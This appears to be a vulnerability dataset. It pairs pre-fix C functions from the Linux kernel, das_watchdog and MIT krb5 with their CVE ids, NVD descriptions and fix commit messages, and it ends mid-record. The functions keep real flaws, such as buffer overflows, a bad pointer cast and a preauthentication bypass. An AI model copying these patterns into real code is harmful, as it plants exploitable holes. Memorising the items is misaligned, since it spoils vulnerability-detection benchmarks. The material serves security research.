static int __driver_rfc4106_decrypt(struct aead_request *req) { u8 one_entry_in_sg = 0; u8 *src, *dst, *assoc; unsigned long tempCipherLen = 0; __be32 counter = cpu_to_be32(1); int retval = 0; struct crypto_aead *tfm = crypto_aead_reqtfm(req); struct aesni_rfc4106_gcm_ctx *ctx = aesni_rfc4106_gcm_ctx_get(tfm); u32 key_len = ctx->aes_key_expanded.key_length; void *aes_ctx = &(ctx->aes_key_expanded); unsigned long auth_tag_len = crypto_aead_authsize(tfm); u8 iv_and_authTag[32+AESNI_ALIGN]; u8 *iv = (u8 *) PTR_ALIGN((u8 *)iv_and_authTag, AESNI_ALIGN); u8 *authTag = iv + 16; struct scatter_walk src_sg_walk; struct scatter_walk assoc_sg_walk; struct scatter_walk dst_sg_walk; unsigned int i; if (unlikely((req->cryptlen < auth_tag_len) || (req->assoclen != 8 && req->assoclen != 12))) return -EINVAL; if (unlikely(auth_tag_len != 8 && auth_tag_len != 12 && auth_tag_len != 16)) return -EINVAL; if (unlikely(key_len != AES_KEYSIZE_128 && key_len != AES_KEYSIZE_192 && key_len != AES_KEYSIZE_256)) return -EINVAL; /* Assuming we are supporting rfc4106 64-bit extended */ /* sequence numbers We need to have the AAD length */ /* equal to 8 or 12 bytes */ tempCipherLen = (unsigned long)(req->cryptlen - auth_tag_len); /* IV below built */ for (i = 0; i < 4; i++) *(iv+i) = ctx->nonce[i]; for (i = 0; i < 8; i++) *(iv+4+i) = req->iv[i]; *((__be32 *)(iv+12)) = counter; if ((sg_is_last(req->src)) && (sg_is_last(req->assoc))) { one_entry_in_sg = 1; scatterwalk_start(&src_sg_walk, req->src); scatterwalk_start(&assoc_sg_walk, req->assoc); src = scatterwalk_map(&src_sg_walk); assoc = scatterwalk_map(&assoc_sg_walk); dst = src; if (unlikely(req->src != req->dst)) { scatterwalk_start(&dst_sg_walk, req->dst); dst = scatterwalk_map(&dst_sg_walk); } } else { /* Allocate memory for src, dst, assoc */ src = kmalloc(req->cryptlen + req->assoclen, GFP_ATOMIC); if (!src) return -ENOMEM; assoc = (src + req->cryptlen + auth_tag_len); scatterwalk_map_and_copy(src, req->src, 0, req->cryptlen, 0); scatterwalk_map_and_copy(assoc, req->assoc, 0, req->assoclen, 0); dst = src; } aesni_gcm_dec_tfm(aes_ctx, dst, src, tempCipherLen, iv, ctx->hash_subkey, assoc, (unsigned long)req->assoclen, authTag, auth_tag_len); /* Compare generated tag with passed in tag. */ retval = crypto_memneq(src + tempCipherLen, authTag, auth_tag_len) ? -EBADMSG : 0; if (one_entry_in_sg) { if (unlikely(req->src != req->dst)) { scatterwalk_unmap(dst); scatterwalk_done(&dst_sg_walk, 0, 0); } scatterwalk_unmap(src); scatterwalk_unmap(assoc); scatterwalk_done(&src_sg_walk, 0, 0); scatterwalk_done(&assoc_sg_walk, 0, 0); } else { scatterwalk_map_and_copy(dst, req->dst, 0, req->cryptlen, 1); kfree(src); } return retval; }

None

CVE-2015-3331

The __driver_rfc4106_decrypt function in arch/x86/crypto/aesni-intel_glue.c in the Linux kernel before 3.19.3 does not properly determine the memory locations used for encrypted data, which allows context-dependent attackers to cause a denial of service (buffer overflow and system crash) or possibly execute arbitrary code by triggering a crypto API call, as demonstrated by use of a libkcapi test program with an AF_ALG(aead) socket.

https://nvd.nist.gov/vuln/detail/CVE-2015-3331

linux

6fd99094de2b83d1d4c8457f2c83483b2828e75a

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/6fd99094de2b83d1d4c8457f2c83483b2828e75a

ipv6: Don't reduce hop limit for an interface A local route may have a lower hop_limit set than global routes do. RFC 3756, Section 4.2.7, "Parameter Spoofing" > 1. The attacker includes a Current Hop Limit of one or another small > number which the attacker knows will cause legitimate packets to > be dropped before they reach their destination. > As an example, one possible approach to mitigate this threat is to > ignore very small hop limits. The nodes could implement a > configurable minimum hop limit, and ignore attempts to set it below > said limit. Signed-off-by: D.S. Ljungmark <ljungmark@modio.se> Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

static void ndisc_router_discovery(struct sk_buff *skb) { struct ra_msg *ra_msg = (struct ra_msg *)skb_transport_header(skb); struct neighbour *neigh = NULL; struct inet6_dev *in6_dev; struct rt6_info *rt = NULL; int lifetime; struct ndisc_options ndopts; int optlen; unsigned int pref = 0; __u8 *opt = (__u8 *)(ra_msg + 1); optlen = (skb_tail_pointer(skb) - skb_transport_header(skb)) - sizeof(struct ra_msg); ND_PRINTK(2, info, "RA: %s, dev: %s\n", __func__, skb->dev->name); if (!(ipv6_addr_type(&ipv6_hdr(skb)->saddr) & IPV6_ADDR_LINKLOCAL)) { ND_PRINTK(2, warn, "RA: source address is not link-local\n"); return; } if (optlen < 0) { ND_PRINTK(2, warn, "RA: packet too short\n"); return; } #ifdef CONFIG_IPV6_NDISC_NODETYPE if (skb->ndisc_nodetype == NDISC_NODETYPE_HOST) { ND_PRINTK(2, warn, "RA: from host or unauthorized router\n"); return; } #endif /* * set the RA_RECV flag in the interface */ in6_dev = __in6_dev_get(skb->dev); if (in6_dev == NULL) { ND_PRINTK(0, err, "RA: can't find inet6 device for %s\n", skb->dev->name); return; } if (!ndisc_parse_options(opt, optlen, &ndopts)) { ND_PRINTK(2, warn, "RA: invalid ND options\n"); return; } if (!ipv6_accept_ra(in6_dev)) { ND_PRINTK(2, info, "RA: %s, did not accept ra for dev: %s\n", __func__, skb->dev->name); goto skip_linkparms; } #ifdef CONFIG_IPV6_NDISC_NODETYPE /* skip link-specific parameters from interior routers */ if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT) { ND_PRINTK(2, info, "RA: %s, nodetype is NODEFAULT, dev: %s\n", __func__, skb->dev->name); goto skip_linkparms; } #endif if (in6_dev->if_flags & IF_RS_SENT) { /* * flag that an RA was received after an RS was sent * out on this interface. */ in6_dev->if_flags |= IF_RA_RCVD; } /* * Remember the managed/otherconf flags from most recently * received RA message (RFC 2462) -- yoshfuji */ in6_dev->if_flags = (in6_dev->if_flags & ~(IF_RA_MANAGED | IF_RA_OTHERCONF)) | (ra_msg->icmph.icmp6_addrconf_managed ? IF_RA_MANAGED : 0) | (ra_msg->icmph.icmp6_addrconf_other ? IF_RA_OTHERCONF : 0); if (!in6_dev->cnf.accept_ra_defrtr) { ND_PRINTK(2, info, "RA: %s, defrtr is false for dev: %s\n", __func__, skb->dev->name); goto skip_defrtr; } /* Do not accept RA with source-addr found on local machine unless * accept_ra_from_local is set to true. */ if (!in6_dev->cnf.accept_ra_from_local && ipv6_chk_addr(dev_net(in6_dev->dev), &ipv6_hdr(skb)->saddr, NULL, 0)) { ND_PRINTK(2, info, "RA from local address detected on dev: %s: default router ignored\n", skb->dev->name); goto skip_defrtr; } lifetime = ntohs(ra_msg->icmph.icmp6_rt_lifetime); #ifdef CONFIG_IPV6_ROUTER_PREF pref = ra_msg->icmph.icmp6_router_pref; /* 10b is handled as if it were 00b (medium) */ if (pref == ICMPV6_ROUTER_PREF_INVALID || !in6_dev->cnf.accept_ra_rtr_pref) pref = ICMPV6_ROUTER_PREF_MEDIUM; #endif rt = rt6_get_dflt_router(&ipv6_hdr(skb)->saddr, skb->dev); if (rt) { neigh = dst_neigh_lookup(&rt->dst, &ipv6_hdr(skb)->saddr); if (!neigh) { ND_PRINTK(0, err, "RA: %s got default router without neighbour\n", __func__); ip6_rt_put(rt); return; } } if (rt && lifetime == 0) { ip6_del_rt(rt); rt = NULL; } ND_PRINTK(3, info, "RA: rt: %p lifetime: %d, for dev: %s\n", rt, lifetime, skb->dev->name); if (rt == NULL && lifetime) { ND_PRINTK(3, info, "RA: adding default router\n"); rt = rt6_add_dflt_router(&ipv6_hdr(skb)->saddr, skb->dev, pref); if (rt == NULL) { ND_PRINTK(0, err, "RA: %s failed to add default route\n", __func__); return; } neigh = dst_neigh_lookup(&rt->dst, &ipv6_hdr(skb)->saddr); if (neigh == NULL) { ND_PRINTK(0, err, "RA: %s got default router without neighbour\n", __func__); ip6_rt_put(rt); return; } neigh->flags |= NTF_ROUTER; } else if (rt) { rt->rt6i_flags = (rt->rt6i_flags & ~RTF_PREF_MASK) | RTF_PREF(pref); } if (rt) rt6_set_expires(rt, jiffies + (HZ * lifetime)); if (ra_msg->icmph.icmp6_hop_limit) { in6_dev->cnf.hop_limit = ra_msg->icmph.icmp6_hop_limit; if (rt) dst_metric_set(&rt->dst, RTAX_HOPLIMIT, ra_msg->icmph.icmp6_hop_limit); } skip_defrtr: /* * Update Reachable Time and Retrans Timer */ if (in6_dev->nd_parms) { unsigned long rtime = ntohl(ra_msg->retrans_timer); if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/HZ) { rtime = (rtime*HZ)/1000; if (rtime < HZ/10) rtime = HZ/10; NEIGH_VAR_SET(in6_dev->nd_parms, RETRANS_TIME, rtime); in6_dev->tstamp = jiffies; inet6_ifinfo_notify(RTM_NEWLINK, in6_dev); } rtime = ntohl(ra_msg->reachable_time); if (rtime && rtime/1000 < MAX_SCHEDULE_TIMEOUT/(3*HZ)) { rtime = (rtime*HZ)/1000; if (rtime < HZ/10) rtime = HZ/10; if (rtime != NEIGH_VAR(in6_dev->nd_parms, BASE_REACHABLE_TIME)) { NEIGH_VAR_SET(in6_dev->nd_parms, BASE_REACHABLE_TIME, rtime); NEIGH_VAR_SET(in6_dev->nd_parms, GC_STALETIME, 3 * rtime); in6_dev->nd_parms->reachable_time = neigh_rand_reach_time(rtime); in6_dev->tstamp = jiffies; inet6_ifinfo_notify(RTM_NEWLINK, in6_dev); } } } skip_linkparms: /* * Process options. */ if (!neigh) neigh = __neigh_lookup(&nd_tbl, &ipv6_hdr(skb)->saddr, skb->dev, 1); if (neigh) { u8 *lladdr = NULL; if (ndopts.nd_opts_src_lladdr) { lladdr = ndisc_opt_addr_data(ndopts.nd_opts_src_lladdr, skb->dev); if (!lladdr) { ND_PRINTK(2, warn, "RA: invalid link-layer address length\n"); goto out; } } neigh_update(neigh, lladdr, NUD_STALE, NEIGH_UPDATE_F_WEAK_OVERRIDE| NEIGH_UPDATE_F_OVERRIDE| NEIGH_UPDATE_F_OVERRIDE_ISROUTER| NEIGH_UPDATE_F_ISROUTER); } if (!ipv6_accept_ra(in6_dev)) { ND_PRINTK(2, info, "RA: %s, accept_ra is false for dev: %s\n", __func__, skb->dev->name); goto out; } #ifdef CONFIG_IPV6_ROUTE_INFO if (!in6_dev->cnf.accept_ra_from_local && ipv6_chk_addr(dev_net(in6_dev->dev), &ipv6_hdr(skb)->saddr, NULL, 0)) { ND_PRINTK(2, info, "RA from local address detected on dev: %s: router info ignored.\n", skb->dev->name); goto skip_routeinfo; } if (in6_dev->cnf.accept_ra_rtr_pref && ndopts.nd_opts_ri) { struct nd_opt_hdr *p; for (p = ndopts.nd_opts_ri; p; p = ndisc_next_option(p, ndopts.nd_opts_ri_end)) { struct route_info *ri = (struct route_info *)p; #ifdef CONFIG_IPV6_NDISC_NODETYPE if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT && ri->prefix_len == 0) continue; #endif if (ri->prefix_len == 0 && !in6_dev->cnf.accept_ra_defrtr) continue; if (ri->prefix_len > in6_dev->cnf.accept_ra_rt_info_max_plen) continue; rt6_route_rcv(skb->dev, (u8 *)p, (p->nd_opt_len) << 3, &ipv6_hdr(skb)->saddr); } } skip_routeinfo: #endif #ifdef CONFIG_IPV6_NDISC_NODETYPE /* skip link-specific ndopts from interior routers */ if (skb->ndisc_nodetype == NDISC_NODETYPE_NODEFAULT) { ND_PRINTK(2, info, "RA: %s, nodetype is NODEFAULT (interior routes), dev: %s\n", __func__, skb->dev->name); goto out; } #endif if (in6_dev->cnf.accept_ra_pinfo && ndopts.nd_opts_pi) { struct nd_opt_hdr *p; for (p = ndopts.nd_opts_pi; p; p = ndisc_next_option(p, ndopts.nd_opts_pi_end)) { addrconf_prefix_rcv(skb->dev, (u8 *)p, (p->nd_opt_len) << 3, ndopts.nd_opts_src_lladdr != NULL); } } if (ndopts.nd_opts_mtu && in6_dev->cnf.accept_ra_mtu) { __be32 n; u32 mtu; memcpy(&n, ((u8 *)(ndopts.nd_opts_mtu+1))+2, sizeof(mtu)); mtu = ntohl(n); if (mtu < IPV6_MIN_MTU || mtu > skb->dev->mtu) { ND_PRINTK(2, warn, "RA: invalid mtu: %d\n", mtu); } else if (in6_dev->cnf.mtu6 != mtu) { in6_dev->cnf.mtu6 = mtu; if (rt) dst_metric_set(&rt->dst, RTAX_MTU, mtu); rt6_mtu_change(skb->dev, mtu); } } if (ndopts.nd_useropts) { struct nd_opt_hdr *p; for (p = ndopts.nd_useropts; p; p = ndisc_next_useropt(p, ndopts.nd_useropts_end)) { ndisc_ra_useropt(skb, p); } } if (ndopts.nd_opts_tgt_lladdr || ndopts.nd_opts_rh) { ND_PRINTK(2, warn, "RA: invalid RA options\n"); } out: ip6_rt_put(rt); if (neigh) neigh_release(neigh); }

ndisc.c

CVE-2015-2922

The ndisc_router_discovery function in net/ipv6/ndisc.c in the Neighbor Discovery (ND) protocol implementation in the IPv6 stack in the Linux kernel before 3.19.6 allows remote attackers to reconfigure a hop-limit setting via a small hop_limit value in a Router Advertisement (RA) message.

https://nvd.nist.gov/vuln/detail/CVE-2015-2922

das_watchdog

bd20bb02e75e2c0483832b52f2577253febfb690

https://github.com/kmatheussen/das_watchdog

https://github.com/kmatheussen/das_watchdog/commit/bd20bb02e75e2c0483832b52f2577253febfb690

Fix memory overflow if the name of an environment is larger than 500 characters. Bug found by Adam Sampson.

static char *get_pid_environ_val(pid_t pid,char *val){ char temp[500]; int i=0; int foundit=0; FILE *fp; sprintf(temp,"/proc/%d/environ",pid); fp=fopen(temp,"r"); if(fp==NULL) return NULL; for(;;){ temp[i]=fgetc(fp); if(foundit==1 && (temp[i]==0 || temp[i]=='\0' || temp[i]==EOF)){ char *ret; temp[i]=0; ret=malloc(strlen(temp)+10); sprintf(ret,"%s",temp); fclose(fp); return ret; } switch(temp[i]){ case EOF: fclose(fp); return NULL; case '=': temp[i]=0; if(!strcmp(temp,val)){ foundit=1; } i=0; break; case '\0': i=0; break; default: i++; } } }

das_watchdog.c

CVE-2015-2831

Buffer overflow in das_watchdog 0.9.0 allows local users to execute arbitrary code with root privileges via a large string in the XAUTHORITY environment variable.

https://nvd.nist.gov/vuln/detail/CVE-2015-2831

krb5

3db8dfec1ef50ddd78d6ba9503185995876a39fd

https://github.com/krb5/krb5

https://github.com/krb5/krb5/commit/3db8dfec1ef50ddd78d6ba9503185995876a39fd

Fix IAKERB context export/import [CVE-2015-2698] The patches for CVE-2015-2696 contained a regression in the newly added IAKERB iakerb_gss_export_sec_context() function, which could cause it to corrupt memory. Fix the regression by properly dereferencing the context_handle pointer before casting it. Also, the patches did not implement an IAKERB gss_import_sec_context() function, under the erroneous belief that an exported IAKERB context would be tagged as a krb5 context. Implement it now to allow IAKERB contexts to be successfully exported and imported after establishment. CVE-2015-2698: In any MIT krb5 release with the patches for CVE-2015-2696 applied, an application which calls gss_export_sec_context() may experience memory corruption if the context was established using the IAKERB mechanism. Historically, some vulnerabilities of this nature can be translated into remote code execution, though the necessary exploits must be tailored to the individual application and are usually quite complicated. CVSSv2 Vector: AV:N/AC:H/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C ticket: 8273 (new) target_version: 1.14 tags: pullup

iakerb_gss_export_sec_context(OM_uint32 *minor_status, gss_ctx_id_t *context_handle, gss_buffer_t interprocess_token) { OM_uint32 maj; iakerb_ctx_id_t ctx = (iakerb_ctx_id_t)context_handle; /* We don't currently support exporting partially established contexts. */ if (!ctx->established) return GSS_S_UNAVAILABLE; maj = krb5_gss_export_sec_context(minor_status, &ctx->gssc, interprocess_token); if (ctx->gssc == GSS_C_NO_CONTEXT) { iakerb_release_context(ctx); *context_handle = GSS_C_NO_CONTEXT; } return maj; }

iakerb.c

CVE-2015-2698

The iakerb_gss_export_sec_context function in lib/gssapi/krb5/iakerb.c in MIT Kerberos 5 (aka krb5) 1.14 pre-release 2015-09-14 improperly accesses a certain pointer, which allows remote authenticated users to cause a denial of service (memory corruption) or possibly have unspecified other impact by interacting with an application that calls the gss_export_sec_context function. NOTE: this vulnerability exists because of an incorrect fix for CVE-2015-2696.

https://nvd.nist.gov/vuln/detail/CVE-2015-2698

krb5

f0c094a1b745d91ef2f9a4eae2149aac026a5789

https://github.com/krb5/krb5

https://github.com/krb5/krb5/commit/f0c094a1b745d91ef2f9a4eae2149aac026a5789

Fix build_principal memory bug [CVE-2015-2697] In build_principal_va(), use k5memdup0() instead of strdup() to make a copy of the realm, to ensure that we allocate the correct number of bytes and do not read past the end of the input string. This bug affects krb5_build_principal(), krb5_build_principal_va(), and krb5_build_principal_alloc_va(). krb5_build_principal_ext() is not affected. CVE-2015-2697: In MIT krb5 1.7 and later, an authenticated attacker may be able to cause a KDC to crash using a TGS request with a large realm field beginning with a null byte. If the KDC attempts to find a referral to answer the request, it constructs a principal name for lookup using krb5_build_principal() with the requested realm. Due to a bug in this function, the null byte causes only one byte be allocated for the realm field of the constructed principal, far less than its length. Subsequent operations on the lookup principal may cause a read beyond the end of the mapped memory region, causing the KDC process to crash. CVSSv2: AV:N/AC:L/Au:S/C:N/I:N/A:C/E:POC/RL:OF/RC:C ticket: 8252 (new) target_version: 1.14 tags: pullup

build_principal_va(krb5_context context, krb5_principal princ, unsigned int rlen, const char *realm, va_list ap) { krb5_error_code retval = 0; char *r = NULL; krb5_data *data = NULL; krb5_int32 count = 0; krb5_int32 size = 2; /* initial guess at needed space */ char *component = NULL; data = malloc(size * sizeof(krb5_data)); if (!data) { retval = ENOMEM; } if (!retval) { r = strdup(realm); if (!r) { retval = ENOMEM; } } while (!retval && (component = va_arg(ap, char *))) { if (count == size) { krb5_data *new_data = NULL; size *= 2; new_data = realloc(data, size * sizeof(krb5_data)); if (new_data) { data = new_data; } else { retval = ENOMEM; } } if (!retval) { data[count].length = strlen(component); data[count].data = strdup(component); if (!data[count].data) { retval = ENOMEM; } count++; } } if (!retval) { princ->type = KRB5_NT_UNKNOWN; princ->magic = KV5M_PRINCIPAL; princ->realm = make_data(r, rlen); princ->data = data; princ->length = count; r = NULL; /* take ownership */ data = NULL; /* take ownership */ } if (data) { while (--count >= 0) { free(data[count].data); } free(data); } free(r); return retval; }

bld_princ.c

CVE-2015-2697

The build_principal_va function in lib/krb5/krb/bld_princ.c in MIT Kerberos 5 (aka krb5) before 1.14 allows remote authenticated users to cause a denial of service (out-of-bounds read and KDC crash) via an initial '\0' character in a long realm field within a TGS request.

https://nvd.nist.gov/vuln/detail/CVE-2015-2697

krb5

e3b5a5e5267818c97750b266df50b6a3d4649604

https://github.com/krb5/krb5

https://github.com/krb5/krb5/commit/e3b5a5e5267818c97750b266df50b6a3d4649604

Prevent requires_preauth bypass [CVE-2015-2694] In the OTP kdcpreauth module, don't set the TKT_FLG_PRE_AUTH bit until the request is successfully verified. In the PKINIT kdcpreauth module, don't respond with code 0 on empty input or an unconfigured realm. Together these bugs could cause the KDC preauth framework to erroneously treat a request as pre-authenticated. CVE-2015-2694: In MIT krb5 1.12 and later, when the KDC is configured with PKINIT support, an unauthenticated remote attacker can bypass the requires_preauth flag on a client principal and obtain a ciphertext encrypted in the principal's long-term key. This ciphertext could be used to conduct an off-line dictionary attack against the user's password. CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:N/E:POC/RL:OF/RC:C ticket: 8160 (new) target_version: 1.13.2 tags: pullup subject: requires_preauth bypass in PKINIT-enabled KDC [CVE-2015-2694]

pkinit_server_verify_padata(krb5_context context, krb5_data *req_pkt, krb5_kdc_req * request, krb5_enc_tkt_part * enc_tkt_reply, krb5_pa_data * data, krb5_kdcpreauth_callbacks cb, krb5_kdcpreauth_rock rock, krb5_kdcpreauth_moddata moddata, krb5_kdcpreauth_verify_respond_fn respond, void *arg) { krb5_error_code retval = 0; krb5_data authp_data = {0, 0, NULL}, krb5_authz = {0, 0, NULL}; krb5_pa_pk_as_req *reqp = NULL; krb5_pa_pk_as_req_draft9 *reqp9 = NULL; krb5_auth_pack *auth_pack = NULL; krb5_auth_pack_draft9 *auth_pack9 = NULL; pkinit_kdc_context plgctx = NULL; pkinit_kdc_req_context reqctx = NULL; krb5_checksum cksum = {0, 0, 0, NULL}; krb5_data *der_req = NULL; int valid_eku = 0, valid_san = 0; krb5_data k5data; int is_signed = 1; krb5_pa_data **e_data = NULL; krb5_kdcpreauth_modreq modreq = NULL; pkiDebug("pkinit_verify_padata: entered!\n"); if (data == NULL || data->length <= 0 || data->contents == NULL) { (*respond)(arg, 0, NULL, NULL, NULL); return; } if (moddata == NULL) { (*respond)(arg, EINVAL, NULL, NULL, NULL); return; } plgctx = pkinit_find_realm_context(context, moddata, request->server); if (plgctx == NULL) { (*respond)(arg, 0, NULL, NULL, NULL); return; } #ifdef DEBUG_ASN1 print_buffer_bin(data->contents, data->length, "/tmp/kdc_as_req"); #endif /* create a per-request context */ retval = pkinit_init_kdc_req_context(context, &reqctx); if (retval) goto cleanup; reqctx->pa_type = data->pa_type; PADATA_TO_KRB5DATA(data, &k5data); switch ((int)data->pa_type) { case KRB5_PADATA_PK_AS_REQ: pkiDebug("processing KRB5_PADATA_PK_AS_REQ\n"); retval = k5int_decode_krb5_pa_pk_as_req(&k5data, &reqp); if (retval) { pkiDebug("decode_krb5_pa_pk_as_req failed\n"); goto cleanup; } #ifdef DEBUG_ASN1 print_buffer_bin(reqp->signedAuthPack.data, reqp->signedAuthPack.length, "/tmp/kdc_signed_data"); #endif retval = cms_signeddata_verify(context, plgctx->cryptoctx, reqctx->cryptoctx, plgctx->idctx, CMS_SIGN_CLIENT, plgctx->opts->require_crl_checking, (unsigned char *) reqp->signedAuthPack.data, reqp->signedAuthPack.length, (unsigned char **)&authp_data.data, &authp_data.length, (unsigned char **)&krb5_authz.data, &krb5_authz.length, &is_signed); break; case KRB5_PADATA_PK_AS_REP_OLD: case KRB5_PADATA_PK_AS_REQ_OLD: pkiDebug("processing KRB5_PADATA_PK_AS_REQ_OLD\n"); retval = k5int_decode_krb5_pa_pk_as_req_draft9(&k5data, &reqp9); if (retval) { pkiDebug("decode_krb5_pa_pk_as_req_draft9 failed\n"); goto cleanup; } #ifdef DEBUG_ASN1 print_buffer_bin(reqp9->signedAuthPack.data, reqp9->signedAuthPack.length, "/tmp/kdc_signed_data_draft9"); #endif retval = cms_signeddata_verify(context, plgctx->cryptoctx, reqctx->cryptoctx, plgctx->idctx, CMS_SIGN_DRAFT9, plgctx->opts->require_crl_checking, (unsigned char *) reqp9->signedAuthPack.data, reqp9->signedAuthPack.length, (unsigned char **)&authp_data.data, &authp_data.length, (unsigned char **)&krb5_authz.data, &krb5_authz.length, NULL); break; default: pkiDebug("unrecognized pa_type = %d\n", data->pa_type); retval = EINVAL; goto cleanup; } if (retval) { pkiDebug("pkcs7_signeddata_verify failed\n"); goto cleanup; } if (is_signed) { retval = verify_client_san(context, plgctx, reqctx, request->client, &valid_san); if (retval) goto cleanup; if (!valid_san) { pkiDebug("%s: did not find an acceptable SAN in user " "certificate\n", __FUNCTION__); retval = KRB5KDC_ERR_CLIENT_NAME_MISMATCH; goto cleanup; } retval = verify_client_eku(context, plgctx, reqctx, &valid_eku); if (retval) goto cleanup; if (!valid_eku) { pkiDebug("%s: did not find an acceptable EKU in user " "certificate\n", __FUNCTION__); retval = KRB5KDC_ERR_INCONSISTENT_KEY_PURPOSE; goto cleanup; } } else { /* !is_signed */ if (!krb5_principal_compare(context, request->client, krb5_anonymous_principal())) { retval = KRB5KDC_ERR_PREAUTH_FAILED; krb5_set_error_message(context, retval, _("Pkinit request not signed, but client " "not anonymous.")); goto cleanup; } } #ifdef DEBUG_ASN1 print_buffer_bin(authp_data.data, authp_data.length, "/tmp/kdc_auth_pack"); #endif OCTETDATA_TO_KRB5DATA(&authp_data, &k5data); switch ((int)data->pa_type) { case KRB5_PADATA_PK_AS_REQ: retval = k5int_decode_krb5_auth_pack(&k5data, &auth_pack); if (retval) { pkiDebug("failed to decode krb5_auth_pack\n"); goto cleanup; } retval = krb5_check_clockskew(context, auth_pack->pkAuthenticator.ctime); if (retval) goto cleanup; /* check dh parameters */ if (auth_pack->clientPublicValue != NULL) { retval = server_check_dh(context, plgctx->cryptoctx, reqctx->cryptoctx, plgctx->idctx, &auth_pack->clientPublicValue->algorithm.parameters, plgctx->opts->dh_min_bits); if (retval) { pkiDebug("bad dh parameters\n"); goto cleanup; } } else if (!is_signed) { /*Anonymous pkinit requires DH*/ retval = KRB5KDC_ERR_PREAUTH_FAILED; krb5_set_error_message(context, retval, _("Anonymous pkinit without DH public " "value not supported.")); goto cleanup; } der_req = cb->request_body(context, rock); retval = krb5_c_make_checksum(context, CKSUMTYPE_NIST_SHA, NULL, 0, der_req, &cksum); if (retval) { pkiDebug("unable to calculate AS REQ checksum\n"); goto cleanup; } if (cksum.length != auth_pack->pkAuthenticator.paChecksum.length || k5_bcmp(cksum.contents, auth_pack->pkAuthenticator.paChecksum.contents, cksum.length) != 0) { pkiDebug("failed to match the checksum\n"); #ifdef DEBUG_CKSUM pkiDebug("calculating checksum on buf size (%d)\n", req_pkt->length); print_buffer(req_pkt->data, req_pkt->length); pkiDebug("received checksum type=%d size=%d ", auth_pack->pkAuthenticator.paChecksum.checksum_type, auth_pack->pkAuthenticator.paChecksum.length); print_buffer(auth_pack->pkAuthenticator.paChecksum.contents, auth_pack->pkAuthenticator.paChecksum.length); pkiDebug("expected checksum type=%d size=%d ", cksum.checksum_type, cksum.length); print_buffer(cksum.contents, cksum.length); #endif retval = KRB5KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED; goto cleanup; } /* check if kdcPkId present and match KDC's subjectIdentifier */ if (reqp->kdcPkId.data != NULL) { int valid_kdcPkId = 0; retval = pkinit_check_kdc_pkid(context, plgctx->cryptoctx, reqctx->cryptoctx, plgctx->idctx, (unsigned char *)reqp->kdcPkId.data, reqp->kdcPkId.length, &valid_kdcPkId); if (retval) goto cleanup; if (!valid_kdcPkId) pkiDebug("kdcPkId in AS_REQ does not match KDC's cert" "RFC says to ignore and proceed\n"); } /* remember the decoded auth_pack for verify_padata routine */ reqctx->rcv_auth_pack = auth_pack; auth_pack = NULL; break; case KRB5_PADATA_PK_AS_REP_OLD: case KRB5_PADATA_PK_AS_REQ_OLD: retval = k5int_decode_krb5_auth_pack_draft9(&k5data, &auth_pack9); if (retval) { pkiDebug("failed to decode krb5_auth_pack_draft9\n"); goto cleanup; } if (auth_pack9->clientPublicValue != NULL) { retval = server_check_dh(context, plgctx->cryptoctx, reqctx->cryptoctx, plgctx->idctx, &auth_pack9->clientPublicValue->algorithm.parameters, plgctx->opts->dh_min_bits); if (retval) { pkiDebug("bad dh parameters\n"); goto cleanup; } } /* remember the decoded auth_pack for verify_padata routine */ reqctx->rcv_auth_pack9 = auth_pack9; auth_pack9 = NULL; break; } /* remember to set the PREAUTH flag in the reply */ enc_tkt_reply->flags |= TKT_FLG_PRE_AUTH; modreq = (krb5_kdcpreauth_modreq)reqctx; reqctx = NULL; cleanup: if (retval && data->pa_type == KRB5_PADATA_PK_AS_REQ) { pkiDebug("pkinit_verify_padata failed: creating e-data\n"); if (pkinit_create_edata(context, plgctx->cryptoctx, reqctx->cryptoctx, plgctx->idctx, plgctx->opts, retval, &e_data)) pkiDebug("pkinit_create_edata failed\n"); } switch ((int)data->pa_type) { case KRB5_PADATA_PK_AS_REQ: free_krb5_pa_pk_as_req(&reqp); free(cksum.contents); break; case KRB5_PADATA_PK_AS_REP_OLD: case KRB5_PADATA_PK_AS_REQ_OLD: free_krb5_pa_pk_as_req_draft9(&reqp9); } free(authp_data.data); free(krb5_authz.data); if (reqctx != NULL) pkinit_fini_kdc_req_context(context, reqctx); free_krb5_auth_pack(&auth_pack); free_krb5_auth_pack_draft9(context, &auth_pack9); (*respond)(arg, retval, modreq, e_data, NULL); }

pkinit_srv.c

CVE-2015-2694

The kdcpreauth modules in MIT Kerberos 5 (aka krb5) 1.12.x and 1.13.x before 1.13.2 do not properly track whether a client's request has been validated, which allows remote attackers to bypass an intended preauthentication requirement by providing (1) zero bytes of data or (2) an arbitrary realm name, related to plugins/preauth/otp/main.c and plugins/preauth/pkinit/pkinit_srv.c.

https://nvd.nist.gov/vuln/detail/CVE-2015-2694

linux

f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4

x86/microcode/intel: Guard against stack overflow in the loader mc_saved_tmp is a static array allocated on the stack, we need to make sure mc_saved_count stays within its bounds, otherwise we're overflowing the stack in _save_mc(). A specially crafted microcode header could lead to a kernel crash or potentially kernel execution. Signed-off-by: Quentin Casasnovas <quentin.casasnovas@oracle.com> Cc: "H. Peter Anvin" <hpa@zytor.com> Cc: Fenghua Yu <fenghua.yu@intel.com> Link: http://lkml.kernel.org/r/1422964824-22056-1-git-send-email-quentin.casasnovas@oracle.com Signed-off-by: Borislav Petkov <bp@suse.de>

